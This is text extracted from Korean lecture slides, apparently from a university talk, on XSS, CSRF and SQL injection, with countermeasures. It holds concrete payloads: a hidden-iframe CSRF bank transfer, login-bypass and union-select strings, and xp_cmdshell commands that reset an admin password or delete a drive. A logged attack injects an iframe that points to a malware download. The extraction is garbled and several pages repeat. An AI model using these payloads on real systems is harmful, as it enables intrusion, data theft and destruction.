공격 스크립트가 취약한 서버에 저장되어 있어서 취약한 서버에 저장된 공격 스크립트로 다양한 공격에 응용할 수 있음

Page 23

Cross Site Scripting (Stored Cross Site Scripting)

Stored Cross Site Scripting 공격 시나리오

Post Forum Message Subject GET Money for FREE Body ltscriptgt attack code ltscriptgt

1 공격자가 악성코드를 보냄

2 서버는 해당 메시지를 저장함

Did you know this

3 사용자는 메시지를 요청함

4 메시지는 서버에 의해 젂달됨

5 브라우저는 메시지 내의 코드를 실행함

GET Money for FREE

ltscriptgt attack code ltscriptgt

Get forumjspfid=122ampmid=2241

Attacker

Client

Web Server

GET Money for FREE ltscriptgt attack code ltscriptgt

attack code

This is only one example out of many attack scenarios

Re Error message on startup I found a solution Can anybody help Error message on startup

Page 24

Cross Site Scripting (Stored Cross Site Scripting)

Stored Cross Site Scripting 공격 예제 (12)

① 게시판에 특정 스크립트를 작성한 뒤 불특정 다수가 보도록 유도

② 스크립트가 시작하여 열람자의 쿠키 값을 가로챔

③ 가로챈 쿠키 값을 웹 프록시 등을 이용하여 재젂송

④ 공격자는 열람자의 정보로 로그인 (개인 정보 유출 다른 사용자의 정보 얻음)

Page 25

Cross Site Scripting (Stored Cross Site Scripting)

Stored Cross Site Scripting 공격 예제 (22)

Page 26

Cross Site Scripting (DOM based Cross Site Scripting)

DOM(Document Objected Model) Cross Site Scripting

DOM(Document Object Model)은 HTML XML을 다루기 위한 프로그래밍 API

JavaScript를 이용하여 페이지 자체를 변조하여 공격하는 XSS 기법

DOM XSS 기법 DEMO

httpwwwdailymotioncomvideoxe7i0w_dom-based-xss_school

httpwwwyoutubecomwatchv=tJ7L6ErD4ZY

httpwwwyoutubecomwatchv=t8IBkxgEzAc

httpwwwyoutubecomwatchv=uTuBJ-zEGuw

Page 27

Cross Site Scripting (DOM based Cross Site Scripting)

DOM(Document Objected Model) Cross Site Scripting 공격 코드

Page 28

Cross Site Scripting (Cross Site Scripting Request Forgery)

Cross Site Scripting Request Forgery (CSRF)

CSRF란 원 클릭 공격 사이드 재킹 (sidejacking) 세션 라이딩(session riding)

특정 사용자를 대상으로 하지 않고 불특정 다수를 대상으로 로그읶 된 사용자가 자싞의 의지와는 무관하게 공격자가 의도한 행위(수정삭제 등록 등)를 하게하는 공격임

XSS vs CSRF

XSS 공격은 악성 스크립트를 웹 사이트에 삽입할 필요가 있음

반면 CSRF 공격은 사이트가 싞뢰하는 사용자를 통해 공격자가 원하는 명령을 사이트로 젂송하는 기법을 사용함

Page 29

Cross Site Scripting (Cross Site Scripting Request Forgery)

Cross Site Scripting Request Forgery (CSRF) 이해 (13)

읶터넷 뱅킹 CSRF

인터넷 뱅킹 웹에서 계좌이체를 처리하는 icheasp 라는 페이지가 있고 송싞 계좌 이체금액이 파라메터로 처리되어 아래와 같이 페이지가 동작한다고 가정 httpwwwxxxbankcomicheaspaccountnum=1111111111ampmoney=50000

공격자는 자싞의 계좌로 계좌이체를 하는 스크립트를 뱅킹사이트 게시판에 삽입하고 누굮가가 게시판을 읽기를 기다림 아래와 같은 iframe 태그를 게시판에 삽입 ltiframe src=httpwwwxxxbankcomicheaspaccountnum=1111111111ampmoney=50000 width=0 height=0gtltiframegt

순짂한 한정원양은 자싞도 모르게 50000만원을 황금란에게 이체함

CSRF 공격코드가 삽입된 인터넷 뱅킹 웹 사이트 게시판

해당 글 클릭 코드실행됨

황금란 악성코드를 게시판에 삽입

Page 30

Cross Site Scripting (Cross Site Scripting Request Forgery)

Cross Site Scripting Request Forgery (CSRF) 이해 (23)

실제 국내 홖경에서 가장 대표적인 케이스는 싸이월드의 방문자 추적기

원리는 굉장히 단순 비공개 게시판을 하나 생성하고 생성된 게시판에 글을 하나 작성하도록 만드는 스크립트를 삽입하여 싸이월드에 방문한 사람은 자싞도 모르게 게시판에 글을 남기도록 제작함 공격자는 게시판에 쓰여짂 사용자를 확인한다면 누가 왔다 갔는지 알 수 있게 됨

Page 31

Cross Site Scripting (Cross Site Scripting Request Forgery)

Cross Site Scripting Request Forgery (CSRF) 이해 (33)

최근에는 제로보드에서 CSRF 취약점이 발견되어 긴급 패치 되었는데 악의적인 스크립트를 삽입하여 관리자에게 쪽지를 보내고 관리자가 쪽지를 읽을 때 스크립트가 실행되어 특정 사용자에게 관리자 권한을 부여하는 취약점

Page 32

Cross Site Scripting

Cross Site Scriting (XSS) 대응 방앆

1 중요한 정보는 쿠키에 저장하지 않도록 함

2 스크립트 코드에 사용되는 특수문자에 대해 정확히 필터링을 해야 함

3 사용자가 입력 가능한 문자만을 정해놓고 그 문자열이 아니면 모두 필터링하는 방법

4 게시판에서 HTML 포맷의 입력은 사용할 수 없도록 설정함

5 스크립트를 대체하여 무효화 함 javascript라고 들어오는 문자열은 무조건 lsquox-javascriptrsquo 대체

6 주기적읶 점검(자체적읶 취약점 점검과 보앆 컨설팅)을 통해 취약점을 수시로 확읶함

Page 33

Cross Site Scripting

Cross Site Scriting (XSS) 대응 방앆

function RemoveBad(InStr) InStr = InStrreplace(ltg) InStr = InStrreplace(gtg) InStr = InStrreplace(g) InStr = InStrreplace(g) InStr = InStrreplace(g) InStr = InStrreplace(g) InStr = InStrreplace((g) InStr = InStrreplace()g) InStr = InStrreplace(ampg) InStr = InStrreplace(+g) return InStr

특수문자 의미

lt 태그의 시작

gt 태그의 끝

amp 캐릭터 개체 또는 매개변수 구별자

ldquo 속성 값

lsquo 속성 값

space 속성 값 URL의 끝

tab URL의 끝

new line URL의 끝

Non-ASCII iso-8859-1일 때 128을 넘어가는 2바이트 코드

HTTP escape sequence

앆의 Server Side Script

ltscriptgtltscriptgt앆의 () New Line

Page 34

SQL Injection

SQL Injection 종류

① SQL Injection ndash 논리적 에러 예 SELECT FROM user_data WHERE last_name = Your Name or 1=1lsquo ② Union SQL Injection ndash 이중 쿼리 예1 httpwwwsitecomnewsphpid=5 union all select top 1 table_name from information_schematables ④ Stored Procedure SQL Injection - 저장프로시저 예1 httpwwwsitecommembercheckidaspid= CREATrdboxp_cmdshell20netstat20-an 12

Page 35

SQL Injection

SQL Injection 의 원인

System Object 권한제어 없이 기본 값 사용 1 ) exec masterxp_cmdshell net user administrator password 디폴트 유저읶 administrator의 패스워드 변경 2 ) exec masterxp_cmdshell dir c C 드라이브 정보 보기 3 ) exec masterxp_cmdshell del c qs C 드라이브 파읷 삭제 DB 계정을 관리자 계정(sa) 으로 읷괄적 사용

Page 36

SQL Injection

SQL Injection 의 기본 원리

admin

$id=admin

$passwd=

1rsquo or lsquo1=1

$strLoginSQL = Select from member where

id = $strUserID and password = $strUserPass

$strLoginSQL = Select from member where

id = lsquoadmin and password = lsquo1rsquo or lsquo1 = 1

FALSE TRUE TRUE

관리자로 로그인 성공

Page 37

SQL Injection

SQL Injection 공격 로그

1 Number=2002-002412|63|80040e14|2002-002412_문자열_앞에_닫히지_않은_읶용_부호가_있습니다

2 Number=2002-002412 and user=1 and

=|63|80040e07|nvarchar_값_team을(를)_int_데이터_형식의_열로_변홖 하는_중_구문_오류가_발생했습니다 500

3 Number=2002-002412 And Cast(IS_SRVROLEMEMBER(sysadmin) as varchar(1))+char(124)=1

And =|63|80040e07|varchar_값_0|을(를)_int_데이터_형식의_열로_변홖하는_중_구문_오류가_발생했습니다 500

4 Reportasp Number=2002-002412 And Cast(IS_MEMBER(db_owner) as

varchar(1))+char(124)=1 And

=|63|80040e07|varchar_값_1|을(를)_int_데이터_형식의_열로_변홖하는_중_구문_오류가_발생했습니다 500

5 Number=2002-002412rsquo exec masterdboaddextendedproc xp_cmdshellxplog70dll

6 Number=2002-002412rsquo

EXEC20MASTERXP_CMDSHELL20echo20^ltiframe20src=^httpwwwnetpkorgsubwayicyfoxhtm^

20

Page 38

SQL Injection

SQL Injection 공격 로그

데이터타입불읷치라는 에러 정보와 함께 DB 접속 계정 노출을 유도함 (예) and user=1 and =lsquo

명령어 역할

User DB 사용자 이름

user_name(1) DB 사용자를 순차적으로 반홖 current_name 현재 로그인한 DB 사용자 이름

session_user 현재 세션의 DB 사용자 이름 sp_helpuser 모듞 사용자 정보에 대해서 확인 syssyslogins 모듞 사용자의 로그인한 히스토리 정보

sp_helplogins 로그인 정보에 대해서 확인 syssql_logins SQL 로그인 정보 ID 패스워드 해쉬값

xp_logininfo 사용자 로그인에 대한 정보 is_srvrolemember 사용자의 권한을 확인

has_dbaccess 사용자가 DB에 접근 권한이 있는지 확인

Page 39

SQL Injection

SQL Injection 공격 로그

확인한 계정의 서버역할이 sysadmin 인지 요청함

And Cast(IS_SRVROLEMEMBER(sysadmin) as varchar(1))+char(124)=1 And =lsquo

IS_SRVROLEMEMBER(서버역할)

sysadmin 관리자권한(모든권한수행)

serveradmin 서버차원의 설정을 구성

setupadmin 연결된 서버 추가 및 제거

securityadmin 서버 로그인 관리

processadmin SQL 인스턴스에서 실행중인 프로스세 관리

Page 40

SQL Injection

SQL Injection 공격 로그

IS_MEMBER(DB역할)

db_owner 모든 db역할 수행

db_accessadmin db내 사용자 추가 및 삭제

db_datareader 사용자테이블에서 모든 데이터 보기

확인한 계정의 DB역할이 db_owner 인지 요청함

And Cast(IS_MEMBER(db_owner) as varchar(1))+char(124)=1 And =

Page 41

SQL Injection

SQL Injection 공격 로그

마스터 DB를 이용해 확장형 저장 프로시저 (xp_cmdshell)생성 rsquo exec masterdboaddextendedproc xp_cmdshellxplog70dlllsquo MS SQL의 기본 DB 구성 요소 bull Master db 로그읶 계정 홖경설정 시스템 저장 프로시저와 같은 시스템에 영향을 미치는 정보 저장(중요)

bull Msdb 작업정의 연산자 수정작업과 같은 정보 저장

bull Model 참조 db이며 사용자를 이를 바탕으로 db 작성

bull Tempdb 임시 테이블 및 임시 저장 프로시저 저장

저장 프로시저(Stored Procedure) 함수와 비슷한 개념으로 쿼리문의 집합 특정 작업을 읷괄 처리하기위한 용도로 사용

Page 42

SQL Injection

SQL Injection 공격 로그

생성된 저장 프로시저 (xp_cmdshell)를 이용하여 문자열 생성(ltiframegthellip) 및 소스

중간 삽입

rsquo EXEC20MASTERXP_CMDSHELL20echo20^

ltiframe20src=^httpwwwnetpkorgsubwayicyfoxhtm^20

사용자 ltiframe src=httpxxxxxxgt

악성프로그램(다운로드)

Page 43

SQL Injection

SQL Injection 예제(14) Trsquounion all select 111namextypersquo33rsquofrom sysobjects where type=rsquoUrsquo--

Page 44

SQL Injection

SQL Injection 예제 (24)

Page 45

SQL Injection

SQL Injection 예제(34)

Page 46

SQL Injection

SQL Injection 사용 구문(44)

1) Trsquounion all select 111namextypersquo33rsquofrom sysobjects where type=rsquoUrsquo-- 2) Trsquounion all select 111colnamersquo1rsquorsquo2rsquofrom syscolumns colsysobjects obj where colid=objid and objname=rsquoUpBoardrsquo- 3) Trsquo union all select 111b_nameb_pwdrsquo2rsquo from upboard-- 1) - sysobjects에서 table name 과 xtype을 추출하는 방법 2) - 추출한 table명을 가지고 column명 추출하는 방법 3) - 해당 table에서 column명을 가지고 데이터를 추출하는 방법

Page 47

SQL Injection

SQL Injection 예제(13)

http127001FAQACTION=VIEWampFAQ_NO=92ampDEFINITION_INFO_CODE=rsquo

Page 48

SQL Injection

SQL Injection 예제(23)

http127001FAQACTION=VIEWampFAQ_NO=92ampDEFINITION_INFO_CODE =test20union20all20select2012223444555tname20from20systab--

Select tname from systab 구문을 이용하여 table 명을 얻어내려 시도(Data Type 맞춰줘야 함)

http127001FAQACTION=VIEWampFAQ_NO=92ampDEFINITION_INFO_CODE =test20union20all20select2012223444tname55520from20systab--

Select tname from systab 구문을 이용하여 table 명을 얻어내려 시도

Page 49

SQL Injection

SQL Injection 예제(33)

모듞 Table 명 획득 (날짜 부분에 tname으로 테이블 명 가져옴)

BOARDCOMMENTSDEFINITIONINFOFAQPI_FILEPI_USERPUBLICNOTIFICATION RECOMMENDEDBOARDTRANSACTIONINFOUPLOADFILEINFOURLCHANGEUSAYUSAYCOMMENTSUSERADDINFO

Page 50

SQL Injection

SQL Injection 대응 방앆

bull응용프로그램의 에러정보 노출 금지 bull스크립트 오류의 자세한 메시지 표시는 개발 단계에서만 사용함 bull모듞 자료실의 디렉토리 속성에 실행 권한을 제거함 bull게시판 등에 불필요한 파일 첨부 기능을 제거하고 첨부가 필요한 경우 실행 가능한 파일의 첨부를 차단함 bull사용자가 입력하는 입력 값이나 URL의 인자 값을 처리하는 페이지에서는 입력 값을 검증

bull 홈페이지 및 게시판에서 사용하는 입력 페이지에서 입력 값에 대한 필터링 함 bull 특수문자(lsquo ldquo _ + 등)와 SQL 구문(select union insert 등)을 필터링 합니다

bullSQL 서버 bull 불필요한 계정은 삭제함 bull 모듞 계정의 비밀번호를 어렵게 정하고 비밀번호 검사를 실행함 bull 모듞 샘플 DB는 제거함 bull 응용프로그램이 DB에 짂입하여 사용하는 계정은 최소화

bull데이터베이스 확장 프로시저는 가급적 모두 제거

Page 51

Web Application Hacking

공격 기법 습득 방법

bull 백문이불여일견 책을 보고 따라해 보기엔 한계가 있음 친젃한 Youtube Demo 홗용하기

bull 습득한 기법들을 정리해 두는 습관 들이기 해킹 기법을 습득한 후에 꼭 정리해 두는 습관을 들이면 좋다 기술 습득은 항상 사용하지 않는 이상 잊어버리기 마련임 기록해 두는 습관을 가짂다면 나중에도 쉽게 자싞만의 레퍼런스를 이용할 수 있다

Page 52

References

웹 해킹 amp 보앆 완벽 가이드 by Dafydd Stuttard amp Marcus Pinto

OWASP Top10 - wwwowasporg

Cross-Site-Scripting Attack and Protection Mechanisms by EUROSEC GmbH Chiffriertechnik amp Sicherheit

방립동 오픈창고 CSRF 대응에 대한 고민12

Web 20 CSRF exploitation (web-board case study) ndash x82inetcoporg

웹 서버 보앆 기초 - HTTP Cookie Session

httpnobless_05blogme50106924296

웹 해킹과 방어

Page 53

Questions

Page 54

Thank you

Page 22: 서울여자대학교 웹애플리케이션해킹(Xss&sql injection)_1

Page 22

Cross Site Scripting (Stored Cross Site Scripting)

Stored Cross Site Scripting

저장된 크로스사이트 스크립팅 (Stored Cross Site Scripting)

공격 스크립트가 취약한 서버에 저장되어 있어서 취약한 서버에 저장된 공격 스크립트로 다양한 공격에 응용할 수 있음

Page 23

Cross Site Scripting (Stored Cross Site Scripting)

Stored Cross Site Scripting 공격 시나리오

Post Forum Message Subject GET Money for FREE Body ltscriptgt attack code ltscriptgt

1 공격자가 악성코드를 보냄

2 서버는 해당 메시지를 저장함

Did you know this

3 사용자는 메시지를 요청함

4 메시지는 서버에 의해 젂달됨

5 브라우저는 메시지 내의 코드를 실행함

GET Money for FREE

ltscriptgt attack code ltscriptgt

Get forumjspfid=122ampmid=2241

Attacker

Client

Web Server

GET Money for FREE ltscriptgt attack code ltscriptgt

attack code

This is only one example out of many attack scenarios

Re Error message on startup I found a solution Can anybody help Error message on startup

Page 24

Cross Site Scripting (Stored Cross Site Scripting)

Stored Cross Site Scripting 공격 예제 (12)

① 게시판에 특정 스크립트를 작성한 뒤 불특정 다수가 보도록 유도

② 스크립트가 시작하여 열람자의 쿠키 값을 가로챔

③ 가로챈 쿠키 값을 웹 프록시 등을 이용하여 재젂송

④ 공격자는 열람자의 정보로 로그인 (개인 정보 유출 다른 사용자의 정보 얻음)

Page 25

Cross Site Scripting (Stored Cross Site Scripting)

Stored Cross Site Scripting 공격 예제 (22)

Page 26

Cross Site Scripting (DOM based Cross Site Scripting)

DOM(Document Objected Model) Cross Site Scripting

DOM(Document Object Model)은 HTML XML을 다루기 위한 프로그래밍 API

JavaScript를 이용하여 페이지 자체를 변조하여 공격하는 XSS 기법

DOM XSS 기법 DEMO

httpwwwdailymotioncomvideoxe7i0w_dom-based-xss_school

httpwwwyoutubecomwatchv=tJ7L6ErD4ZY

httpwwwyoutubecomwatchv=t8IBkxgEzAc

httpwwwyoutubecomwatchv=uTuBJ-zEGuw

Page 27

Cross Site Scripting (DOM based Cross Site Scripting)

DOM(Document Objected Model) Cross Site Scripting 공격 코드

Page 28

Cross Site Scripting (Cross Site Scripting Request Forgery)

Cross Site Scripting Request Forgery (CSRF)

CSRF란 원 클릭 공격 사이드 재킹 (sidejacking) 세션 라이딩(session riding)

특정 사용자를 대상으로 하지 않고 불특정 다수를 대상으로 로그읶 된 사용자가 자싞의 의지와는 무관하게 공격자가 의도한 행위(수정삭제 등록 등)를 하게하는 공격임

XSS vs CSRF

XSS 공격은 악성 스크립트를 웹 사이트에 삽입할 필요가 있음

반면 CSRF 공격은 사이트가 싞뢰하는 사용자를 통해 공격자가 원하는 명령을 사이트로 젂송하는 기법을 사용함

Page 29

Cross Site Scripting (Cross Site Scripting Request Forgery)

Cross Site Scripting Request Forgery (CSRF) 이해 (13)

읶터넷 뱅킹 CSRF

인터넷 뱅킹 웹에서 계좌이체를 처리하는 icheasp 라는 페이지가 있고 송싞 계좌 이체금액이 파라메터로 처리되어 아래와 같이 페이지가 동작한다고 가정 httpwwwxxxbankcomicheaspaccountnum=1111111111ampmoney=50000

공격자는 자싞의 계좌로 계좌이체를 하는 스크립트를 뱅킹사이트 게시판에 삽입하고 누굮가가 게시판을 읽기를 기다림 아래와 같은 iframe 태그를 게시판에 삽입 ltiframe src=httpwwwxxxbankcomicheaspaccountnum=1111111111ampmoney=50000 width=0 height=0gtltiframegt

순짂한 한정원양은 자싞도 모르게 50000만원을 황금란에게 이체함

CSRF 공격코드가 삽입된 인터넷 뱅킹 웹 사이트 게시판

해당 글 클릭 코드실행됨

황금란 악성코드를 게시판에 삽입

Page 30

Cross Site Scripting (Cross Site Scripting Request Forgery)

Cross Site Scripting Request Forgery (CSRF) 이해 (23)

실제 국내 홖경에서 가장 대표적인 케이스는 싸이월드의 방문자 추적기

원리는 굉장히 단순 비공개 게시판을 하나 생성하고 생성된 게시판에 글을 하나 작성하도록 만드는 스크립트를 삽입하여 싸이월드에 방문한 사람은 자싞도 모르게 게시판에 글을 남기도록 제작함 공격자는 게시판에 쓰여짂 사용자를 확인한다면 누가 왔다 갔는지 알 수 있게 됨

Page 31

Cross Site Scripting (Cross Site Scripting Request Forgery)

Cross Site Scripting Request Forgery (CSRF) 이해 (33)

최근에는 제로보드에서 CSRF 취약점이 발견되어 긴급 패치 되었는데 악의적인 스크립트를 삽입하여 관리자에게 쪽지를 보내고 관리자가 쪽지를 읽을 때 스크립트가 실행되어 특정 사용자에게 관리자 권한을 부여하는 취약점

Page 32

Cross Site Scripting

Cross Site Scriting (XSS) 대응 방앆

1 중요한 정보는 쿠키에 저장하지 않도록 함

2 스크립트 코드에 사용되는 특수문자에 대해 정확히 필터링을 해야 함

3 사용자가 입력 가능한 문자만을 정해놓고 그 문자열이 아니면 모두 필터링하는 방법

4 게시판에서 HTML 포맷의 입력은 사용할 수 없도록 설정함

5 스크립트를 대체하여 무효화 함 javascript라고 들어오는 문자열은 무조건 lsquox-javascriptrsquo 대체

6 주기적읶 점검(자체적읶 취약점 점검과 보앆 컨설팅)을 통해 취약점을 수시로 확읶함

Page 33

Cross Site Scripting

Cross Site Scriting (XSS) 대응 방앆

function RemoveBad(InStr) InStr = InStrreplace(ltg) InStr = InStrreplace(gtg) InStr = InStrreplace(g) InStr = InStrreplace(g) InStr = InStrreplace(g) InStr = InStrreplace(g) InStr = InStrreplace((g) InStr = InStrreplace()g) InStr = InStrreplace(ampg) InStr = InStrreplace(+g) return InStr

특수문자 의미

lt 태그의 시작

gt 태그의 끝

amp 캐릭터 개체 또는 매개변수 구별자

ldquo 속성 값

lsquo 속성 값

space 속성 값 URL의 끝

tab URL의 끝

new line URL의 끝

Non-ASCII iso-8859-1일 때 128을 넘어가는 2바이트 코드

HTTP escape sequence

앆의 Server Side Script

ltscriptgtltscriptgt앆의 () New Line

Page 34

SQL Injection

SQL Injection 종류

① SQL Injection ndash 논리적 에러 예 SELECT FROM user_data WHERE last_name = Your Name or 1=1lsquo ② Union SQL Injection ndash 이중 쿼리 예1 httpwwwsitecomnewsphpid=5 union all select top 1 table_name from information_schematables ④ Stored Procedure SQL Injection - 저장프로시저 예1 httpwwwsitecommembercheckidaspid= CREATrdboxp_cmdshell20netstat20-an 12

Page 35

SQL Injection

SQL Injection 의 원인

System Object 권한제어 없이 기본 값 사용 1 ) exec masterxp_cmdshell net user administrator password 디폴트 유저읶 administrator의 패스워드 변경 2 ) exec masterxp_cmdshell dir c C 드라이브 정보 보기 3 ) exec masterxp_cmdshell del c qs C 드라이브 파읷 삭제 DB 계정을 관리자 계정(sa) 으로 읷괄적 사용

Page 36

SQL Injection

SQL Injection 의 기본 원리

admin

$id=admin

$passwd=

1rsquo or lsquo1=1

$strLoginSQL = Select from member where

id = $strUserID and password = $strUserPass

$strLoginSQL = Select from member where

id = lsquoadmin and password = lsquo1rsquo or lsquo1 = 1

FALSE TRUE TRUE

관리자로 로그인 성공

Page 37

SQL Injection

SQL Injection 공격 로그

1 Number=2002-002412|63|80040e14|2002-002412_문자열_앞에_닫히지_않은_읶용_부호가_있습니다

2 Number=2002-002412 and user=1 and

=|63|80040e07|nvarchar_값_team을(를)_int_데이터_형식의_열로_변홖 하는_중_구문_오류가_발생했습니다 500

3 Number=2002-002412 And Cast(IS_SRVROLEMEMBER(sysadmin) as varchar(1))+char(124)=1

And =|63|80040e07|varchar_값_0|을(를)_int_데이터_형식의_열로_변홖하는_중_구문_오류가_발생했습니다 500

4 Reportasp Number=2002-002412 And Cast(IS_MEMBER(db_owner) as

varchar(1))+char(124)=1 And

=|63|80040e07|varchar_값_1|을(를)_int_데이터_형식의_열로_변홖하는_중_구문_오류가_발생했습니다 500

5 Number=2002-002412rsquo exec masterdboaddextendedproc xp_cmdshellxplog70dll

6 Number=2002-002412rsquo

EXEC20MASTERXP_CMDSHELL20echo20^ltiframe20src=^httpwwwnetpkorgsubwayicyfoxhtm^

20

Page 38

SQL Injection

SQL Injection 공격 로그

데이터타입불읷치라는 에러 정보와 함께 DB 접속 계정 노출을 유도함 (예) and user=1 and =lsquo

명령어 역할

User DB 사용자 이름

user_name(1) DB 사용자를 순차적으로 반홖 current_name 현재 로그인한 DB 사용자 이름

session_user 현재 세션의 DB 사용자 이름 sp_helpuser 모듞 사용자 정보에 대해서 확인 syssyslogins 모듞 사용자의 로그인한 히스토리 정보

sp_helplogins 로그인 정보에 대해서 확인 syssql_logins SQL 로그인 정보 ID 패스워드 해쉬값

xp_logininfo 사용자 로그인에 대한 정보 is_srvrolemember 사용자의 권한을 확인

has_dbaccess 사용자가 DB에 접근 권한이 있는지 확인

Page 39

SQL Injection

SQL Injection 공격 로그

확인한 계정의 서버역할이 sysadmin 인지 요청함

And Cast(IS_SRVROLEMEMBER(sysadmin) as varchar(1))+char(124)=1 And =lsquo

IS_SRVROLEMEMBER(서버역할)

sysadmin 관리자권한(모든권한수행)

serveradmin 서버차원의 설정을 구성

setupadmin 연결된 서버 추가 및 제거

securityadmin 서버 로그인 관리

processadmin SQL 인스턴스에서 실행중인 프로스세 관리

Page 40

SQL Injection

SQL Injection 공격 로그

IS_MEMBER(DB역할)

db_owner 모든 db역할 수행

db_accessadmin db내 사용자 추가 및 삭제

db_datareader 사용자테이블에서 모든 데이터 보기

확인한 계정의 DB역할이 db_owner 인지 요청함

And Cast(IS_MEMBER(db_owner) as varchar(1))+char(124)=1 And =

Page 41

SQL Injection

SQL Injection 공격 로그

마스터 DB를 이용해 확장형 저장 프로시저 (xp_cmdshell)생성 rsquo exec masterdboaddextendedproc xp_cmdshellxplog70dlllsquo MS SQL의 기본 DB 구성 요소 bull Master db 로그읶 계정 홖경설정 시스템 저장 프로시저와 같은 시스템에 영향을 미치는 정보 저장(중요)

bull Msdb 작업정의 연산자 수정작업과 같은 정보 저장

bull Model 참조 db이며 사용자를 이를 바탕으로 db 작성

bull Tempdb 임시 테이블 및 임시 저장 프로시저 저장

저장 프로시저(Stored Procedure) 함수와 비슷한 개념으로 쿼리문의 집합 특정 작업을 읷괄 처리하기위한 용도로 사용

Page 42

SQL Injection

SQL Injection 공격 로그

생성된 저장 프로시저 (xp_cmdshell)를 이용하여 문자열 생성(ltiframegthellip) 및 소스

중간 삽입

rsquo EXEC20MASTERXP_CMDSHELL20echo20^

ltiframe20src=^httpwwwnetpkorgsubwayicyfoxhtm^20

사용자 ltiframe src=httpxxxxxxgt

악성프로그램(다운로드)

Page 43

SQL Injection

SQL Injection 예제(14) Trsquounion all select 111namextypersquo33rsquofrom sysobjects where type=rsquoUrsquo--

Page 44

SQL Injection

SQL Injection 예제 (24)

Page 45

SQL Injection

SQL Injection 예제(34)

Page 46

SQL Injection

SQL Injection 사용 구문(44)

1) Trsquounion all select 111namextypersquo33rsquofrom sysobjects where type=rsquoUrsquo-- 2) Trsquounion all select 111colnamersquo1rsquorsquo2rsquofrom syscolumns colsysobjects obj where colid=objid and objname=rsquoUpBoardrsquo- 3) Trsquo union all select 111b_nameb_pwdrsquo2rsquo from upboard-- 1) - sysobjects에서 table name 과 xtype을 추출하는 방법 2) - 추출한 table명을 가지고 column명 추출하는 방법 3) - 해당 table에서 column명을 가지고 데이터를 추출하는 방법

Page 47

SQL Injection

SQL Injection 예제(13)

http127001FAQACTION=VIEWampFAQ_NO=92ampDEFINITION_INFO_CODE=rsquo

Page 48

SQL Injection

SQL Injection 예제(23)

http127001FAQACTION=VIEWampFAQ_NO=92ampDEFINITION_INFO_CODE =test20union20all20select2012223444555tname20from20systab--

Select tname from systab 구문을 이용하여 table 명을 얻어내려 시도(Data Type 맞춰줘야 함)

http127001FAQACTION=VIEWampFAQ_NO=92ampDEFINITION_INFO_CODE =test20union20all20select2012223444tname55520from20systab--

Select tname from systab 구문을 이용하여 table 명을 얻어내려 시도

Page 49

SQL Injection

SQL Injection 예제(33)

모듞 Table 명 획득 (날짜 부분에 tname으로 테이블 명 가져옴)

BOARDCOMMENTSDEFINITIONINFOFAQPI_FILEPI_USERPUBLICNOTIFICATION RECOMMENDEDBOARDTRANSACTIONINFOUPLOADFILEINFOURLCHANGEUSAYUSAYCOMMENTSUSERADDINFO

Page 50

SQL Injection

SQL Injection 대응 방앆

bull응용프로그램의 에러정보 노출 금지 bull스크립트 오류의 자세한 메시지 표시는 개발 단계에서만 사용함 bull모듞 자료실의 디렉토리 속성에 실행 권한을 제거함 bull게시판 등에 불필요한 파일 첨부 기능을 제거하고 첨부가 필요한 경우 실행 가능한 파일의 첨부를 차단함 bull사용자가 입력하는 입력 값이나 URL의 인자 값을 처리하는 페이지에서는 입력 값을 검증

bull 홈페이지 및 게시판에서 사용하는 입력 페이지에서 입력 값에 대한 필터링 함 bull 특수문자(lsquo ldquo _ + 등)와 SQL 구문(select union insert 등)을 필터링 합니다

bullSQL 서버 bull 불필요한 계정은 삭제함 bull 모듞 계정의 비밀번호를 어렵게 정하고 비밀번호 검사를 실행함 bull 모듞 샘플 DB는 제거함 bull 응용프로그램이 DB에 짂입하여 사용하는 계정은 최소화

bull데이터베이스 확장 프로시저는 가급적 모두 제거

Page 51

Web Application Hacking

공격 기법 습득 방법

bull 백문이불여일견 책을 보고 따라해 보기엔 한계가 있음 친젃한 Youtube Demo 홗용하기

bull 습득한 기법들을 정리해 두는 습관 들이기 해킹 기법을 습득한 후에 꼭 정리해 두는 습관을 들이면 좋다 기술 습득은 항상 사용하지 않는 이상 잊어버리기 마련임 기록해 두는 습관을 가짂다면 나중에도 쉽게 자싞만의 레퍼런스를 이용할 수 있다

Page 52

References

웹 해킹 amp 보앆 완벽 가이드 by Dafydd Stuttard amp Marcus Pinto

OWASP Top10 - wwwowasporg

Cross-Site-Scripting Attack and Protection Mechanisms by EUROSEC GmbH Chiffriertechnik amp Sicherheit

방립동 오픈창고 CSRF 대응에 대한 고민12

Web 20 CSRF exploitation (web-board case study) ndash x82inetcoporg

웹 서버 보앆 기초 - HTTP Cookie Session

httpnobless_05blogme50106924296

웹 해킹과 방어

Page 53

Questions

Page 54

Thank you

Page 23: 서울여자대학교 웹애플리케이션해킹(Xss&sql injection)_1

Page 23

Cross Site Scripting (Stored Cross Site Scripting)

Stored Cross Site Scripting 공격 시나리오

Post Forum Message Subject GET Money for FREE Body ltscriptgt attack code ltscriptgt

1 공격자가 악성코드를 보냄

2 서버는 해당 메시지를 저장함

Did you know this

3 사용자는 메시지를 요청함

4 메시지는 서버에 의해 젂달됨

5 브라우저는 메시지 내의 코드를 실행함

GET Money for FREE

ltscriptgt attack code ltscriptgt

Get forumjspfid=122ampmid=2241

Attacker

Client

Web Server

GET Money for FREE ltscriptgt attack code ltscriptgt

attack code

This is only one example out of many attack scenarios

Re Error message on startup I found a solution Can anybody help Error message on startup

Page 24

Cross Site Scripting (Stored Cross Site Scripting)

Stored Cross Site Scripting 공격 예제 (12)

① 게시판에 특정 스크립트를 작성한 뒤 불특정 다수가 보도록 유도

② 스크립트가 시작하여 열람자의 쿠키 값을 가로챔

③ 가로챈 쿠키 값을 웹 프록시 등을 이용하여 재젂송

④ 공격자는 열람자의 정보로 로그인 (개인 정보 유출 다른 사용자의 정보 얻음)

Page 25

Cross Site Scripting (Stored Cross Site Scripting)

Stored Cross Site Scripting 공격 예제 (22)

Page 26

Cross Site Scripting (DOM based Cross Site Scripting)

DOM(Document Objected Model) Cross Site Scripting

DOM(Document Object Model)은 HTML XML을 다루기 위한 프로그래밍 API

JavaScript를 이용하여 페이지 자체를 변조하여 공격하는 XSS 기법

DOM XSS 기법 DEMO

httpwwwdailymotioncomvideoxe7i0w_dom-based-xss_school

httpwwwyoutubecomwatchv=tJ7L6ErD4ZY

httpwwwyoutubecomwatchv=t8IBkxgEzAc

httpwwwyoutubecomwatchv=uTuBJ-zEGuw

Page 27

Cross Site Scripting (DOM based Cross Site Scripting)

DOM(Document Objected Model) Cross Site Scripting 공격 코드

Page 28

Cross Site Scripting (Cross Site Scripting Request Forgery)

Cross Site Scripting Request Forgery (CSRF)

